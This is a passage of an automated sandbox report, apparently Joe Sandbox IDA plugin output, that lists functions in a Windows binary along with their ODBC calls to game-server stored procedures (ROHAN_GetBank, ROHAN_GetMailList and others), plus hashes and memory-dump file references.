                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN3_GetBankAndRTM](?,?,?,?,?,?) }
                                                                                                                            • API String ID: 0-1483371289
                                                                                                                            • Opcode ID: fb782c43b08a15af6e8faa84e1ee08a1d8b2a6a5fbd375dcb80154544afc3da7
                                                                                                                            • Instruction ID: 836c23248a50679a0a7f3086d2928199bda57934b5068628b35c5c334d69c600
                                                                                                                            • Opcode Fuzzy Hash: fb782c43b08a15af6e8faa84e1ee08a1d8b2a6a5fbd375dcb80154544afc3da7
                                                                                                                            • Instruction Fuzzy Hash: 4541F6B1A44205BBEB14DF94CC52FED7775EB88B28F248209F7107E2C5D5B5A840876C
                                                                                                                            Function 0042F9FC Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 141COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN3_GetBank] (?,?,?,?,?,?)},000000FD), ref: 0042FA25
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0042FA64
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0042FA99
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042FAD1
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000E7,000000FB,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042FB09
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000E7,000000FB,00000000), ref: 0042FB41
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0042FB79
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000FA,000000FA,00000000), ref: 0042FBB1
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN3_GetBank] (?,?,?,?,?,?)}, xrefs: 0042FA1C
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN3_GetBank] (?,?,?,?,?,?)}
                                                                                                                            • API String ID: 0-3717493623
                                                                                                                            • Opcode ID: a4285b8c58fdb52c2a78bc2eb3f7353b787b9ac3bb92787a78ea2121b5b9698c
                                                                                                                            • Instruction ID: 5b6bf219960d08af51d7473009e3a9fd83b1ff4dfc6f0f254c2db5ef2435f19a
                                                                                                                            • Opcode Fuzzy Hash: a4285b8c58fdb52c2a78bc2eb3f7353b787b9ac3bb92787a78ea2121b5b9698c
                                                                                                                            • Instruction Fuzzy Hash: 2E510DB0740214BFEB24AB44CC52FAA7236EFD5B14F204288F7557E2C5D9B269608F59
                                                                                                                            Function 0043F032 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 139COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_GetMailList](?,?,?,?,?,?)},000000FD), ref: 0043F052
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043F091
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043F0C6
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043F0FE
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043F136
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043F16E
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043F1A6
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043F1DE
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_GetMailList](?,?,?,?,?,?)}, xrefs: 0043F049
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_GetMailList](?,?,?,?,?,?)}
                                                                                                                            • API String ID: 0-1898760040
                                                                                                                            • Opcode ID: 839f3da3213504e3b928f53a0b60954f4f9a4edbc5afd3071acfc1ec78b9349d
                                                                                                                            • Instruction ID: 11a6f243a71edf8b922a410bb3db91fdd4b00d52e9374e2a584e39d862c26338
                                                                                                                            • Opcode Fuzzy Hash: 839f3da3213504e3b928f53a0b60954f4f9a4edbc5afd3071acfc1ec78b9349d
                                                                                                                            • Instruction Fuzzy Hash: 9451E0B56802187BFB289B54CD62FF97374EB84B18F104288F72C7E6C5D5B16D418B58
                                                                                                                            Function 0043314A Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 139COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_InsertQuestCurrRank] (?,?,?, ?,?,?)},000000FD), ref: 0043316A
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 004331A9
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 004331DE
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00433216
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043324E
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00433286
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004332BE
                                                                                                                            • #72.ODBC32(?,00000000,00000001,0000005D,0000005D,00000013,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004332F6
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_InsertQuestCurrRank] (?,?,?, ?,?,?)}, xrefs: 00433161
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_InsertQuestCurrRank] (?,?,?, ?,?,?)}
                                                                                                                            • API String ID: 0-999172464
                                                                                                                            • Opcode ID: 1ba9fb724b1f1d546dec052d657179adaf4be5ffec92c0034845ceea209a08f6
                                                                                                                            • Instruction ID: e5a715a75d391d9a1a9c3ac2aa8871354479cb7f610526aa956f47b7cc8f6c99
                                                                                                                            • Opcode Fuzzy Hash: 1ba9fb724b1f1d546dec052d657179adaf4be5ffec92c0034845ceea209a08f6
                                                                                                                            • Instruction Fuzzy Hash: 365107B0A4531477FB649B44DD52F9A7338EB84B28F104189F7147E2C6D7B16D80CB58
                                                                                                                            Function 00433300 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 139COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_InsertQuestGlobalRank] (?,?,?, ?,?,?)},000000FD), ref: 00433320
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043335F
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00433394
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004333CC
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00433404
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043343C
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00433474
                                                                                                                            • #72.ODBC32(?,00000000,00000001,0000005D,0000005D,00000013,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004334AC
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_InsertQuestGlobalRank] (?,?,?, ?,?,?)}, xrefs: 00433317
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_InsertQuestGlobalRank] (?,?,?, ?,?,?)}
                                                                                                                            • API String ID: 0-2729232107
                                                                                                                            • Opcode ID: 1686c2582f36f0e43bfe29750fe9c37aacbf6da08c739658f92376a276051c8d
                                                                                                                            • Instruction ID: 7fb5eb461b7cfbaa286827bf7887be231a9518c3a97f5bd23c4ac56598ad9415
                                                                                                                            • Opcode Fuzzy Hash: 1686c2582f36f0e43bfe29750fe9c37aacbf6da08c739658f92376a276051c8d
                                                                                                                            • Instruction Fuzzy Hash: 7751EEB1F832147BFB249B54CD62FAA7374EB84B18F1081C9F7186E2C6D5B169408B58
                                                                                                                            Function 004373BD Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 139COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_SetTradeItemToInven] (?,?,?,?,?,?)},000000FD), ref: 004373DD
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043741C
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00437454
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00437489
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 004374C1
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 004374F9
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00437531
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00437569
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_SetTradeItemToInven] (?,?,?,?,?,?)}, xrefs: 004373D4
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_SetTradeItemToInven] (?,?,?,?,?,?)}
                                                                                                                            • API String ID: 0-1211797500
                                                                                                                            • Opcode ID: e8f4fc95cd7a714954e1684bfe935b95d123ef32ec9b430576c4a969bf5d2791
                                                                                                                            • Instruction ID: ef81dda098cf6eddae38007f0d1d05adfe5d5a03acd90165103c7735ff97f0aa
                                                                                                                            • Opcode Fuzzy Hash: e8f4fc95cd7a714954e1684bfe935b95d123ef32ec9b430576c4a969bf5d2791
                                                                                                                            • Instruction Fuzzy Hash: 2B510DB07402187FFB248B54CC52FAA7234EB85B5CF604388F7556E2C5DAB16980CB19
                                                                                                                            Function 00433554 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 139COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_InsertLadderQuestState] (?,?,?, ?,?,?)},000000FD), ref: 00433574
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 004335B3
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 004335E8
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00433620
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000E7,000000FB,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00433658
                                                                                                                            • #72.ODBC32(?,00000000,00000001,0000005D,0000005D,00000013,00000000,?,00000000,00000000,?,00000000,00000001,000000E7,000000FB,00000000), ref: 00433690
